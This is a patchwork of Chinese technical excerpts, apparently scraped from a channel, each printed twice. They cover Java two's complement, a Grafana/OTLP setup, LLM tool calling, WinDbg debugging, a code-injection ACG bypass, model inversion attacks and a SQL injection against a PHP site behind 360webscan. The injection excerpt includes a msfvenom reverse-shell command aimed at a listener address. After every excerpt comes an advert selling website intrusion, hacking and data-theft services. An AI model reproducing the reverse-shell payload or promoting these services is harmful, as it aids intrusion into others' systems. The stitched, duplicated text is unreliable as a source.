在 Java 中,byte 类型是 有符号的 8 位整数,现代计算机(包括 Java)全部使用补码存储有符号整数,第一位为符号位,取值范围是 10000000 ~ 01111111,即:-128 到 127 (即 0x80 到 0x7F)。
0xFC(二进制 1111 1100)到 byte 变量时,Java 会将其解释为 有符号的补码(two's complement),因此 0xFC 会被视为 -4。
为什么 在Java中 0xFC 变成 -4?
byte 是有符号的:
0xFC(二进制 1111 1100)的最高位是 1,表示它是一个负数。
Java 使用 补码(two's complement) 表示负数。
补码转十进制:
补码的规则:负数值 = 原码取反 + 1。
0xFC(1111 1100)是某个负数的补码,计算它的原码:
补码: 1111 1100 (0xFC)
取反: 1000 0011
+1 : 1000 0100 (结果是 -4)
因此,0xFC 表示 -4。
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke
0xFC(二进制 1111 1100)到 byte 变量时,Java 会将其解释为 有符号的补码(two's complement),因此 0xFC 会被视为 -4。
为什么 在Java中 0xFC 变成 -4?
byte 是有符号的:
0xFC(二进制 1111 1100)的最高位是 1,表示它是一个负数。
Java 使用 补码(two's complement) 表示负数。
补码转十进制:
补码的规则:负数值 = 原码取反 + 1。
0xFC(1111 1100)是某个负数的补码,计算它的原码:
补码: 1111 1100 (0xFC)
取反: 1000 0011
+1 : 1000 0100 (结果是 -4)
因此,0xFC 表示 -4。
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke
distributor: 提供用于接收 OTLP 数据的 gRPC API
query: 提供用于接收查询协议的 HTTP API
mysql: 用于存储数据
grafana: 用于展示数据
数据的发送
将 SDK 的 OTLP exporter 配置为 http://localhost:4317 即可将数据发送到 distributor。
数据的查询
Trace#
配置 Jaeger 数据源#
我们实现了支持 Jaeger 查询协议的 API,因此可以直接在 Grafana 中配置 Jaeger 数据源。
访问 http://localhost:3000/ 即可看到grafana的登录页面。用户名和密码都是admin。
登录后,点击左侧的菜单,选择 Data Sources,然后点击 Add data source。
Metrics#
配置 Prometheus 数据源#
我们实现了支持 PromQL 查询协议的 API,因此可以直接在 Grafana 中配置 Prometheus 数据源。
访问 http://localhost:3000/ 即可看到grafana的登录页面。用户名和密码都是admin。
登录后,点击左侧的菜单,选择 Data Sources,然后点击 Add data source。
选择 Prometheus。
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke
query: 提供用于接收查询协议的 HTTP API
mysql: 用于存储数据
grafana: 用于展示数据
数据的发送
将 SDK 的 OTLP exporter 配置为 http://localhost:4317 即可将数据发送到 distributor。
数据的查询
Trace#
配置 Jaeger 数据源#
我们实现了支持 Jaeger 查询协议的 API,因此可以直接在 Grafana 中配置 Jaeger 数据源。
访问 http://localhost:3000/ 即可看到grafana的登录页面。用户名和密码都是admin。
登录后,点击左侧的菜单,选择 Data Sources,然后点击 Add data source。
Metrics#
配置 Prometheus 数据源#
我们实现了支持 PromQL 查询协议的 API,因此可以直接在 Grafana 中配置 Prometheus 数据源。
访问 http://localhost:3000/ 即可看到grafana的登录页面。用户名和密码都是admin。
登录后,点击左侧的菜单,选择 Data Sources,然后点击 Add data source。
选择 Prometheus。
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke
使用工具——Tool
“会使用工具”是人类和动物的根本区别。
要构建更强大的AI工程应用,只有生成文本这样的“纸上谈兵”能力自然是不够的。工具不仅仅是“肢体”的延伸,更是为“大脑”插上了想象力的“翅膀”。借助工具,才能让AI应用的能力真正具备无限的可能,才能从“认识世界”走向“改变世界”。
这里不得不提到OpenAI的Chat Completion API提供的函数调用能力(注意这里不是Assistant的函数调用),通过在对话请求内附加tools参数描述工具的定义格式(原先的functions参数已过期),LLM会根据提示词推断出需要调用哪些工具,并提供具体的调用参数信息。用户需要根据返回的工具调用信息,自行触发相关工具的回调。下一章内容我们可以看到工具的调用动作可以通过Agent自主接管。
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke
“会使用工具”是人类和动物的根本区别。
要构建更强大的AI工程应用,只有生成文本这样的“纸上谈兵”能力自然是不够的。工具不仅仅是“肢体”的延伸,更是为“大脑”插上了想象力的“翅膀”。借助工具,才能让AI应用的能力真正具备无限的可能,才能从“认识世界”走向“改变世界”。
这里不得不提到OpenAI的Chat Completion API提供的函数调用能力(注意这里不是Assistant的函数调用),通过在对话请求内附加tools参数描述工具的定义格式(原先的functions参数已过期),LLM会根据提示词推断出需要调用哪些工具,并提供具体的调用参数信息。用户需要根据返回的工具调用信息,自行触发相关工具的回调。下一章内容我们可以看到工具的调用动作可以通过Agent自主接管。
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke
动态调式分析
此处的动态调试是为了验证当程序运行到用户自定义入口点(main或者mainCRTStartup)时栈基址的情况,并进一步分析线程启动时的调用链
用windbg随便打开一个exe程序,程序会停在 ntdll!LdrpDoDebuggerBreak,接着我们在windbg的命令行输入一个下断点的命令:bp ntdll!RtlUserThreadStart。我们这么做的目的是跳过一些初始化操作,直接分析最感兴趣的 RtlUserThreadStart 和 BaseThreadInitThunk。
接着按F5运行,程序会停在 ntdll!RtlUserThreadStart 的入口点
一直Step into(F8)到 call qword ptr [ntdll!__guard_xfg_dispatch_icall_fptr 里面。
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke
此处的动态调试是为了验证当程序运行到用户自定义入口点(main或者mainCRTStartup)时栈基址的情况,并进一步分析线程启动时的调用链
用windbg随便打开一个exe程序,程序会停在 ntdll!LdrpDoDebuggerBreak,接着我们在windbg的命令行输入一个下断点的命令:bp ntdll!RtlUserThreadStart。我们这么做的目的是跳过一些初始化操作,直接分析最感兴趣的 RtlUserThreadStart 和 BaseThreadInitThunk。
接着按F5运行,程序会停在 ntdll!RtlUserThreadStart 的入口点
一直Step into(F8)到 call qword ptr [ntdll!__guard_xfg_dispatch_icall_fptr 里面。
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke
代码注入bypass ACG
dll注入无法成功,那么如果改用创建线程注入是否能成功呢?
获取PID然后注入代码是可以成功上线的,我试着手动获取进程PID,我还试过了镜像列表寻找PID,当然这都是获得进程handle的方式。后面都是一样的步骤去执行shellcode注入,但是这里都失败了,可以看到请求了CS,但是程序被关闭,无法成功上线
根据以往的代码注入经验,可能和cs有关系,因为从程序上看是请求完cs后就直接退出了
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.2.12.18 LPORT=684 -f c
使用主机成功监听到了shell
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke
dll注入无法成功,那么如果改用创建线程注入是否能成功呢?
获取PID然后注入代码是可以成功上线的,我试着手动获取进程PID,我还试过了镜像列表寻找PID,当然这都是获得进程handle的方式。后面都是一样的步骤去执行shellcode注入,但是这里都失败了,可以看到请求了CS,但是程序被关闭,无法成功上线
根据以往的代码注入经验,可能和cs有关系,因为从程序上看是请求完cs后就直接退出了
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.2.12.18 LPORT=684 -f c
使用主机成功监听到了shell
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke
模型反转攻击
模型反转攻击通过分析模型的输出,尝试反推出输入数据或其特征表示。这种攻击特别适用于那些输出置信度或概率分布的模型,例如分类器。攻击者通过优化技术(如梯度下降)或生成对抗网络(GAN),逐步重建与模型输出一致的输入数据。例如,在人脸识别系统中,攻击者可能利用模型的置信度输出,重建出训练数据中的人脸图像。模型反转攻击的成功依赖于模型的输出信息量以及攻击者对模型结构的了解程度,其威胁在于它可能直接恢复出高度敏感的原始数据。
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke
模型反转攻击通过分析模型的输出,尝试反推出输入数据或其特征表示。这种攻击特别适用于那些输出置信度或概率分布的模型,例如分类器。攻击者通过优化技术(如梯度下降)或生成对抗网络(GAN),逐步重建与模型输出一致的输入数据。例如,在人脸识别系统中,攻击者可能利用模型的置信度输出,重建出训练数据中的人脸图像。模型反转攻击的成功依赖于模型的输出信息量以及攻击者对模型结构的了解程度,其威胁在于它可能直接恢复出高度敏感的原始数据。
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke
👍1
前台注入突破360webscan限制getshell
前台SQL注入
这套系统把sql查询方法封装了,那这里就一个个方法搜了
限定目录一个个搜索关键词
挺多的,但是基本是不是做了字符转义,就是数据类型转换
在我长达两年半的筛选中,还是让我找到了一处,没有字符转义和数据类型转换的点
关键词getColumn133通过getColumn执行语句,语句中直接拼接了$sql,$sql在131行定义,直接通过get传参,这里的逻辑判断只有GET['type']>=0,这个传什么都满足,问题不大,从接收参数到带入语句执行,没有看到字符转义和类型转换,存在注入
尝试延时poc,发现提示“输入内容存在危险字符,安全起见,已被本站拦截”
发现项目存在360webscan
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke
前台SQL注入
这套系统把sql查询方法封装了,那这里就一个个方法搜了
限定目录一个个搜索关键词
挺多的,但是基本是不是做了字符转义,就是数据类型转换
在我长达两年半的筛选中,还是让我找到了一处,没有字符转义和数据类型转换的点
关键词getColumn133通过getColumn执行语句,语句中直接拼接了$sql,$sql在131行定义,直接通过get传参,这里的逻辑判断只有GET['type']>=0,这个传什么都满足,问题不大,从接收参数到带入语句执行,没有看到字符转义和类型转换,存在注入
尝试延时poc,发现提示“输入内容存在危险字符,安全起见,已被本站拦截”
发现项目存在360webscan
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke